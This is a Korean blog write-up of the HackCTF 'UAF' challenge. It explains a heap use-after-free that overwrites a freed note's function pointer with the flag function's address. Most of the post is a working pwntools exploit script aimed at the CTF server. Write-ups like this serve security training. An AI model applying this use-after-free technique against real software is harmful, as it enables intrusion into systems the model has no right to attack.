HACKCTF - UAF
2020. 8. 4. 13:58ㆍCTF's Write-up
가장 전형적인 UAF문제로 볼 수 있습니다.
8짜리 malloc2개를 진행해주고, ("AAAA", "BBBB")
다시 free해 줍니다.
이렇게 되면 추후에 병합이 일어나지 않도록 방어막 하나를 쳐줍니다. (16byte, "CCCCCCCC")
그리고 다시 8byte를 만들어주면
0x87c0008 부분이 ABCD로 바뀌게 됩니다. 그리고 이 부분을 호출하면
해당 부분으로 이동할 수 없다고 되니 이 부분을 flag주소로 변환해주면 될 듯 합니다.
payload 는 아래와 같습니다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3020)
#r = process("./uaf")
context.log_level = "debug"
flag = 0x08048986
def add(size, string) :
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(size)
r.recvuntil(":")
r.sendline(string)
def delete(num) :
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(num)
def printf(num) :
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(num)
add("8", "AAAA")
add("8", "BBBB")
delete("0")
delete("1")
add("16", "CCCCCCCC")
add("8", p32(flag))
printf("0")
r.interactive()
실행하면!?
flag획득이 가능합니다.
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - 잔상 (0) | 2020.08.05 |
---|---|
DreamHack - hook (0) | 2020.08.04 |
HACKCTF - RSA (0) | 2020.08.04 |
HACKCTF - AVR Programming (2) (0) | 2020.08.04 |
HACKCTF - Classic Cipher -3 (0) | 2020.08.03 |